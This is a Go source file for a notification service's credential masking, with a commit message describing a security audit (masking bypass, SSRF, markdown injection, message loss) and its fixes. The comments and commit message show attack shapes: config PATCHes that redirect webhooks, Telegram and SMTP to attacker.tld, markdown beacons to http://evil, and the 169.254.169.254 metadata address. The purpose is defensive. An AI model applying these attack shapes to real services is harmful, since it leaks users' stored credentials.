Files
ARTEX/notify/mask.go
T
luckoneandClaude Code a049f09b97 fix(notify): 安全审计修复 —— 掩码绕过、SSRF、静默丢失等 12 项
对推送功能做了一轮安全审计,每条都先复现、再修、再补回归测试。
以下按严重程度排列。

【严重】掩码可被「改目标地址、保留凭据」绕过
目标地址与凭据是两套独立字段,而配置合并对「未提及的键」保留原值。于是
只改地址、对凭据避而不谈,服务端就会把库里的真凭据发到任意地址。已实测
复现四个渠道:通用 Webhook 的 Authorization 头、Telegram 的 Bot Token
(进请求路径)、邮件的 SMTP 密码(STARTTLS 后交给对端)、钉钉/飞书的加签
密钥(该项不可利用,一并列出仅为说明面)。完全静默、不依赖重定向,所以
上一轮加的「拒绝跨主机跳转」挡不住它。

修法:新增 Channel.DestinationKeys() 声明「消息发往哪」,PrepareConfigUpdate
在地址变化时要求对**每一个**凭据字段显式表态(给新值,或显式留空表示不再
需要)——原样回传掩码值等于「沿用旧凭据」,正是攻击形状,一并拒绝。
刻意不做「自动丢弃凭据」:对可选字段(如 headers)那会变成「鉴权静默没了
但接口返回成功」,比报错更难排查。

【中】markdown 系三渠道对不可信内容零转义
钉钉/企微/飞书此前完全不转义(Telegram 与邮件都做了),而标题与摘要来自
模型输出、资产 url 来自被测目标。一条标题里的 `[文字](http://evil)` 会在
工程师的钉钉里变成可点击外链;`![](http://evil/beacon)` 会被客户端拉取,
泄露阅读者 IP 并暴露「这条已被看过」。现统一单行化 + markdown 元字符转义。

修的过程中还纠了自己一个设计错误:转义一度被放进 markdownTitle,而它被
markdown 正文、Telegram 的 HTML、飞书卡片、Webhook 的 JSON 与邮件主题四种
语境共用,markdown 的反斜杠泄漏到了 Telegram 消息里(用户会看到 `\(1\)`)。
转义必须发生在各自的渲染出口——测试直接抓到了这个回归。

【中】投递地址的 SSRF 面
此前只校验 scheme 与 host,云元数据 169.254.169.254、环回、内网一律可投递;
而失败响应体前 200 字节会进 last_error 并被投递历史接口回显,构成半盲读
原语。现在在**拨号阶段**设防(最终生效点,同时覆盖 DNS 重绑定与同主机
重定向)。环回/链路本地需显式 ARTEX_NOTIFY_ALLOW_LOCAL=1 才放行(本机
SMTP 中继是合法配置);RFC1918 私网**刻意放行**——内网自建 Mattermost /
SMTP 很常见,做到那个程度会把正常部署一起废掉,这条取舍写进了测试断言。

【中】汇总消息被截断后整批标记已送达 = 静默丢失
渠道都有长度上限(企微 4096 字节最紧)。此前渲染完整篇再截断、然后整批
标记成功:被截掉的那些既不在消息里、也不在失败列表里,投递历史还显示
成功。现改为按**整条**打包,只标记真正装下的,其余回队续发,消息头部
如实写明还有多少条在下一条。被推迟的条目**不消耗重试次数**(领取时乐观
+1 的那次减回去),否则 500 条的积压会在第三段就把尾部判成失败。

【中】其余修复
- min_severity 打错字让过滤器静默失效(未知级别序数为 0 → rank>=0 恒真,
  用户以为「仅高危」实际全推)。改为写入时校验取值。
- rate_per_min=0(不限流)不可达:文档/UI/令牌桶都按 0=不限流解释,唯独
  写库那层 `if <=0 取默认值` 把它改成 20 或 100。默认值改到接口层填。
- digest 渠道完全绕过令牌桶(allow 被扣却没人用)。
- 失败处置按整批 max(attempts) 判断,让老投递连坐同批的新投递。
- 汇总批次里快照无法解析的投递被静默标记成功。
- url.Parse 失败时错误文本仍带完整地址(上一轮只修了 http.Client.Do 那侧;
  且当时的用例全走 scheme 分支、没覆盖解析失败路径,是假保证)。
- 单渠道每轮投递条数可能超出租约时长(多实例下重复发送)。加了防漂移
  断言,写的时候立刻发现原取值 6 恰好用满租约、零余量,已改 5。
- Telegram 截断可能切断 HTML 实体,导致整条被拒收。
- 邮件把 SMTP 4xx(灰名单等临时失败)判成永久失败,最该重试的场景从不重试。
- 提交嵌套结构时会把掩码字面量真的写进库,导致鉴权静默失效。

测试:notify 包从 82% 提到 86%,新增 SSRF 守卫、掩码绕过(用攻击形状的
输入而非「防御逻辑的正确输入」)、分段投递收敛、markdown 转义、SMTP 4xx/5xx
分类等回归用例;端到端补了一条「60 条长标题跨多轮发完且不卡死」的收敛测试。

Co-Authored-By: Claude Code <[email protected]>
2026-09-30 16:25:06 +08:00

231 lines
9.1 KiB
Go
Raw Blame History

This file contains ambiguous Unicode characters
This file contains Unicode characters that might be confused with other characters. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.
package notify
import (
"encoding/json"
"fmt"
"strings"
)
// MaskedPrefix 是掩码值的标记前缀。API 回显凭据时用带此前缀的值替换真实内容,
// 更新接口收到带此前缀的值即理解为「保持库中原值不变」。
//
// 用前缀而不是空串或某个固定常量,是为了能顺带带上一点可辨识信息
// (见 MaskedValue),让用户区分得出「这是哪个机器人」而不必重新粘贴密钥。
const MaskedPrefix = "__masked__"
// MaskedValue 生成一个掩码值:
//
// "__masked__" 原值太短,不给任何提示
// "__masked__:…ab12cd" 带上原值末 6 位作为辨识提示
//
// 只暴露末 6 位是刻意选择的:Webhook 地址的辨识信息在末段(如企业微信的 key、
// 飞书的机器人 id),而前缀部分各机器人相同、没有辨识价值。末 6 位不足以
// 还原凭据,但足以让配置者认出「是我那个群」。
func MaskedValue(secret string) string {
if len(secret) <= 6 {
return MaskedPrefix
}
return MaskedPrefix + ":…" + secret[len(secret)-6:]
}
// IsMasked 报告某个值是否为掩码值(即接口回显后未被修改)。
func IsMasked(v string) bool { return strings.HasPrefix(v, MaskedPrefix) }
// MaskConfig 返回配置的副本,把该渠道的凭据字段替换成掩码值。
//
// 未知渠道类型返回空 map 而不是原配置——宁可让 UI 显示「配置不可用」,
// 也不要在渠道类型无法识别时把可能含凭据的原始内容整个吐回去。
// 非凭据字段原样保留,UI 才能正常展示。
func MaskConfig(kind string, cfg map[string]any) map[string]any {
channel, ok := Get(kind)
if !ok {
return map[string]any{}
}
secrets := map[string]bool{}
for _, k := range channel.SecretKeys() {
secrets[k] = true
}
out := make(map[string]any, len(cfg))
for k, v := range cfg {
if !secrets[k] {
out[k] = v
continue
}
// headers 这类嵌套结构整体按一个凭据处理:逐个子键判断需要每个渠道
// 再声明一套「哪些子键是凭据」的规则,复杂度远超收益。
if s, ok := v.(string); ok {
out[k] = MaskedValue(s)
continue
}
out[k] = MaskedPrefix
}
return out
}
// ErrDestinationChangedWithoutCredentials 表示「目标地址变了,但调用方没有对
// 凭据字段表态」。返回它而不是默默放行或默默丢弃凭据,理由见 PrepareConfigUpdate。
type ErrDestinationChangedWithoutCredentials struct {
Changed []string // 发生变化的目的地键
Missing []string // 未显式表态的凭据键
}
func (e *ErrDestinationChangedWithoutCredentials) Error() string {
return "目标地址(" + strings.Join(e.Changed, "、") + ")已变更,请同时重新填写凭据字段(" +
strings.Join(e.Missing, "、") + "):填入新值,或显式留空表示不再需要凭据。" +
"原凭据只对旧地址有效,继续沿用等于把它交给新地址。"
}
// PrepareConfigUpdate 合并渠道配置,并处理「目标地址变更」这一安全敏感情况。
//
// 它替代裸的 MergeConfig 用在渠道更新路径上,解决的是这样一条实测可行的路径:
// 目标地址(消息发往哪)与凭据(用什么身份发)是两套独立字段,而 MergeConfig
// 对「未提及的键」一律保留库中原值。于是任何能 PATCH 渠道的人只要**只改地址、
// 对凭据避而不谈**,就能让服务器把库里的真凭据发到自己控制的端点:
//
// webhook {config:{url:"https://attacker.tld"}} → 原始 Authorization 头随请求外发
// telegram {config:{base_url:"https://attacker.tld"}} → /bot<真Token>/sendMessage
// email {config:{host:"smtp.attacker.tld"}} → STARTTLS 后交出用户名与密码
//
// 这条路径完全静默、不依赖重定向(所以拒绝跨主机跳转挡不住它),
// 而且直接击穿了本包掩码机制的目标——「凭据不回显给浏览器」。
//
// 规则:只要某个目的地键被改成新值,调用方就必须对**每一个**凭据键显式表态:
// - 给出新值 → 用新值
// - 显式传空串 → 该字段不再需要凭据(保留清空语义)
// - 原样回传掩码值 / 干脆不提这个键 → 拒绝
//
// 第三种之所以也拒绝,是因为「掩码值」的含义正是「沿用旧凭据」,而旧凭据
// 只对旧地址有效。这里刻意不做「自动丢弃凭据」——那对可选凭据字段
// (webhook 的 headers、email 的 password)会静默变成「鉴权没了但接口返回 200」,
// 比报错更难排查。宁可让操作者多填一次。
func PrepareConfigUpdate(kind string, stored, incoming map[string]any) (map[string]any, error) {
channel, ok := Get(kind)
if !ok {
return nil, fmt.Errorf("渠道类型 %q 未注册", kind)
}
secrets := channel.SecretKeys()
destinations := channel.DestinationKeys()
// 非字符串的凭据值(如 webhook 的 headers 是个对象)里若嵌着掩码字面量,
// 说明调用方把「保持原值」的哨兵塞进了结构体内部。MergeConfig 只认「字符串
// 且带前缀」为掩码,这种形态会被当普通对象原样存下去——库里真的落下字面量
// "__masked__",后续鉴权静默失效且没有任何报错。宁可拒掉。
//
// 这个检查必须放在**最前面**:地址没变时会走提前返回,放在后面就等于
// 只覆盖了「改地址」这一条路径(第一版就是这么放错的,测试直接抓到了)。
if err := rejectMaskedInContainers(incoming, secrets); err != nil {
return nil, err
}
// 找出真正被改掉的目的地键。掩码值等于「没改」。
var changed []string
for _, key := range destinations {
raw, present := incoming[key]
if !present {
continue
}
s, isStr := raw.(string)
if isStr && IsMasked(s) {
continue
}
if !sameConfigValue(raw, stored[key]) {
changed = append(changed, key)
}
}
if len(changed) == 0 {
// 地址没变,走普通合并(掩码值保留原值、空串清空、其余覆盖)。
return MergeConfig(stored, incoming), nil
}
// 地址变了:要求对每个凭据键显式表态。
var missing []string
for _, key := range secrets {
raw, present := incoming[key]
if !present {
missing = append(missing, key)
continue
}
if s, isStr := raw.(string); isStr && IsMasked(s) {
missing = append(missing, key)
}
}
if len(missing) > 0 {
return nil, &ErrDestinationChangedWithoutCredentials{Changed: changed, Missing: missing}
}
return MergeConfig(stored, incoming), nil
}
// rejectMaskedInContainers 拒绝把掩码哨兵嵌在非字符串结构里提交。
//
// 掩码机制的前提是「整个值就是个字符串」。像 webhook 的 headers 这种对象字段,
// 只能整体掩码(写成字符串 "__masked__")或整体提交;把哨兵塞进对象内部
// 既表达不了「保持不变」,又会被当成真实值存进库。
func rejectMaskedInContainers(incoming map[string]any, secretKeys []string) error {
for _, key := range secretKeys {
raw, present := incoming[key]
if !present {
continue
}
if _, isStr := raw.(string); isStr {
continue
}
encoded, err := json.Marshal(raw)
if err != nil {
continue
}
if strings.Contains(string(encoded), MaskedPrefix) {
return fmt.Errorf("字段 %s 的内容里含掩码标记 %q:该字段只能整体留空表示沿用、或整体提交新值,不能在结构体内部夹带掩码占位",
key, MaskedPrefix)
}
}
return nil
}
// sameConfigValue 比较两个配置值是否等价。用 JSON 序列化比较是为了顺带处理
// 类型差异——前端提交的端口是 number,而库里读回来的是 float64,直接 == 会误判。
func sameConfigValue(a, b any) bool {
if a == nil && b == nil {
return true
}
ra, errA := json.Marshal(a)
rb, errB := json.Marshal(b)
if errA != nil || errB != nil {
return false
}
return string(ra) == string(rb)
}
// MergeConfig 把 incoming 合并到 stored 之上,用于更新渠道配置。
//
// 规则:
// - incoming 里值为掩码的键 → 保留 stored 的原值(用户没改这个字段)
// - incoming 里值为空串的键 → 视为显式清空,删除该键
// - 其余键 → 用 incoming 的值覆盖
// - stored 里有而 incoming 里没有的键 → 保留(局部更新语义)
//
// 空串是否算「清空」需要明确:前端表单把未填的字段提交为空串,
// 若把它当成有效值写入,会把「留空以保留原值」的字段真的清掉。
// 这里选择显式清空,因为要清除一个设错的字段时,用户没有别的表达方式
// (拖走字段可区分「未提供」与「提供空值」,但 UI 用不到这个区别)。
func MergeConfig(stored, incoming map[string]any) map[string]any {
out := make(map[string]any, len(stored)+len(incoming))
for k, v := range stored {
out[k] = v
}
for k, v := range incoming {
if s, ok := v.(string); ok {
if IsMasked(s) {
continue // 掩码值 = 未修改,保留 stored
}
if strings.TrimSpace(s) == "" {
delete(out, k)
continue
}
out[k] = s
continue
}
out[k] = v
}
return out
}